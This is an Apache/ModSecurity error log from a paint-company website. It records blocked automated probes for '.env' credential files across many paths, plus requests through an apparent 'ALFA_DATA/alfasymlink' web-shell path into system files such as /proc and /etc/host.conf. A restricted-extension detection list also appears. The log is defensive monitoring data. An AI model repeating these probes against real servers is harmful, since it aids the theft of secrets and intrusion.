[Sat Oct 24 21:49:36.541644 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.19.162.36:56956] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/staging/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/api/staging/.env"] [unique_id "at1gMECehrQoNuVtn8-PPwAAAAM"]
[Sat Oct 24 21:49:36.541949 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.19.162.36:56956] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/api/staging/.env"] [unique_id "at1gMECehrQoNuVtn8-PPwAAAAM"]
[Sat Oct 24 21:49:36.542319 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.19.162.36:56956] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/api/staging/.env"] [unique_id "at1gMECehrQoNuVtn8-PPwAAAAM"]
[Sat Oct 24 21:49:36.542575 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/v1/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/api/v1/.env"] [unique_id "at1gMD8oejtZfsaip1YpWgAAABE"]
[Sat Oct 24 21:49:36.542764 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/api/v1/.env"] [unique_id "at1gMD8oejtZfsaip1YpWgAAABE"]
[Sat Oct 24 21:49:36.542996 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/api/v1/.env"] [unique_id "at1gMD8oejtZfsaip1YpWgAAABE"]
[Sat Oct 24 21:49:36.577174 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.19.162.36:56956] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /vendor/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/vendor/.env"] [unique_id "at1gMECehrQoNuVtn8-PQAAAAAM"]
[Sat Oct 24 21:49:36.577432 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.19.162.36:56956] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/vendor/.env"] [unique_id "at1gMECehrQoNuVtn8-PQAAAAAM"]
[Sat Oct 24 21:49:36.577804 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.19.162.36:56956] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/vendor/.env"] [unique_id "at1gMECehrQoNuVtn8-PQAAAAAM"]
[Sat Oct 24 21:49:36.917259 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/v2/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/api/v2/.env"] [unique_id "at1gMD8oejtZfsaip1YpWwAAABE"]
[Sat Oct 24 21:49:36.917489 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/api/v2/.env"] [unique_id "at1gMD8oejtZfsaip1YpWwAAABE"]
[Sat Oct 24 21:49:36.917898 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/api/v2/.env"] [unique_id "at1gMD8oejtZfsaip1YpWwAAABE"]
[Sat Oct 24 21:49:36.951939 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.19.162.36:56956] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /lib/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/lib/.env"] [unique_id "at1gMECehrQoNuVtn8-PQQAAAAM"]
[Sat Oct 24 21:49:36.952166 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.19.162.36:56956] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/lib/.env"] [unique_id "at1gMECehrQoNuVtn8-PQQAAAAM"]
[Sat Oct 24 21:49:36.952481 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.19.162.36:56956] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/lib/.env"] [unique_id "at1gMECehrQoNuVtn8-PQQAAAAM"]
[Sat Oct 24 21:49:36.986866 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.19.162.36:56956] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /resources/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/resources/.env"] [unique_id "at1gMECehrQoNuVtn8-PQgAAAAM"]
[Sat Oct 24 21:49:36.987074 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.19.162.36:56956] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/resources/.env"] [unique_id "at1gMECehrQoNuVtn8-PQgAAAAM"]
[Sat Oct 24 21:49:36.987424 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.19.162.36:56956] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/resources/.env"] [unique_id "at1gMECehrQoNuVtn8-PQgAAAAM"]
[Sat Oct 24 21:49:36.991881 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /rest/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/rest/.env"] [unique_id "at1gMD8oejtZfsaip1YpXAAAABE"]
[Sat Oct 24 21:49:36.992042 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/rest/.env"] [unique_id "at1gMD8oejtZfsaip1YpXAAAABE"]
[Sat Oct 24 21:49:36.992296 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/rest/.env"] [unique_id "at1gMD8oejtZfsaip1YpXAAAABE"]
[Sat Oct 24 21:49:37.006338 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.19.162.36:56956] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /assets/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/assets/.env"] [unique_id "at1gMUCehrQoNuVtn8-PQwAAAAM"]
[Sat Oct 24 21:49:37.006509 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.19.162.36:56956] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/assets/.env"] [unique_id "at1gMUCehrQoNuVtn8-PQwAAAAM"]
[Sat Oct 24 21:49:37.006809 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.19.162.36:56956] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/assets/.env"] [unique_id "at1gMUCehrQoNuVtn8-PQwAAAAM"]
[Sat Oct 24 21:49:37.051441 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.19.162.36:56956] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /uploads/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/uploads/.env"] [unique_id "at1gMUCehrQoNuVtn8-PRAAAAAM"]
[Sat Oct 24 21:49:37.051730 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.19.162.36:56956] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/uploads/.env"] [unique_id "at1gMUCehrQoNuVtn8-PRAAAAAM"]
[Sat Oct 24 21:49:37.052094 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.19.162.36:56956] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/uploads/.env"] [unique_id "at1gMUCehrQoNuVtn8-PRAAAAAM"]
[Sat Oct 24 21:49:37.066626 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /graphql/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/graphql/.env"] [unique_id "at1gMT8oejtZfsaip1YpXQAAABE"]
[Sat Oct 24 21:49:37.066865 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/graphql/.env"] [unique_id "at1gMT8oejtZfsaip1YpXQAAABE"]
[Sat Oct 24 21:49:37.067122 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/graphql/.env"] [unique_id "at1gMT8oejtZfsaip1YpXQAAABE"]
[Sat Oct 24 21:49:42.335709 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 34.231.77.232:6065] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:49:46.283261 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 34.239.197.197:10846] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/kernel/slab/trace_event_file/slabs
[Sat Oct 24 21:50:00.867440 2026] [core:error] [pid 2707149:tid 2707149] (13)Permission denied: [client 85.208.96.200:41836] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/trace
[Sat Oct 24 21:50:06.272806 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 54.235.191.179:3270] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/ttyS2/iomem_base
[Sat Oct 24 21:50:06.644817 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 185.191.171.4:48098] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/nf_conntrack/sections/__ksymtab
[Sat Oct 24 21:50:14.034356 2026] [core:error] [pid 2731612:tid 2731612] (13)Permission denied: [client 185.191.171.19:46462] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-256/objects
[Sat Oct 24 21:50:58.726372 2026] [security2:error] [pid 2693034:tid 2693034] [client 185.191.171.10:21198] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/host.conf"] [unique_id "at1gglQTwXU83R4GW_mbWwAAACg"]
[Sat Oct 24 21:50:58.726805 2026] [security2:error] [pid 2693034:tid 2693034] [client 185.191.171.10:21198] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/host.conf"] [unique_id "at1gglQTwXU83R4GW_mbWwAAACg"]
[Sat Oct 24 21:50:58.727193 2026] [security2:error] [pid 2693034:tid 2693034] [client 185.191.171.10:21198] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/host.conf"] [unique_id "at1gglQTwXU83R4GW_mbWwAAACg"]
[Sat Oct 24 21:51:02.348800 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 44.223.193.255:3841] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:51:06.255475 2026] [ssl:error] [pid 2731612:tid 2731612] (70014)End of file found: [client 3.89.176.255:33698] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:51:10.161624 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 44.212.232.231:10594] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:51:14.411375 2026] [ssl:error] [pid 2693020:tid 2693020] (5)Input/output error: [client 52.3.155.146:14382] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:51:18.162488 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 54.225.181.161:58825] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:51:22.163001 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 100.28.57.133:50490] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:51:22.596918 2026] [core:error] [pid 2731598:tid 2731598] (13)Permission denied: [client 85.208.96.207:63738] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_prealloc_space/cpu_partial
[Sat Oct 24 21:51:26.155961 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 44.221.227.90:32102] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:51:30.167952 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 52.2.4.213:9494] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/LNXCPU:00/physical_node/driver/cpu1/firmware_node/subsystem/drivers/ec/bind
[Sat Oct 24 21:51:34.262368 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 52.23.112.144:59810] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:51:38.159032 2026] [ssl:error] [pid 2733464:tid 2733464] (70014)End of file found: [client 23.23.99.55:65022] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:51:50.155096 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 18.232.11.247:7739] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:51:54.179948 2026] [ssl:error] [pid 2731598:tid 2731598] (70014)End of file found: [client 44.218.170.184:59484] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:51:58.204582 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 44.216.172.204:45797] AH02013: coalesce failed to read from data bucket
